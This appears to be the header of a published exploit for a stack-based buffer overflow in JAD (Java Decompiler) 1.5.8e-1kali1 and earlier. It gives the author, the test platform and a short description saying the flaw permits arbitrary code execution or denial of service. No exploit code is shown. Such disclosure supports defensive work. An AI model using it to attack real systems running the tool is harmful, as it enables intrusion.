# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
|
|
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
|
|
# Tested on: GNU/Linux - Kali 2017.1 Release
|
|
#
|
|
# Description: JAD ( Java Decompiler ) 1.5.8e-1kali1 and prior is prone to a stack-based buffer overflow
|
|
# vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
|
|
#
|
|
# An attacker could exploit this vulnerability to execute arbitrary code in the
|
|
# context of the application. Failed exploit attempts will result in a
|
|
# denial-of-service condition.
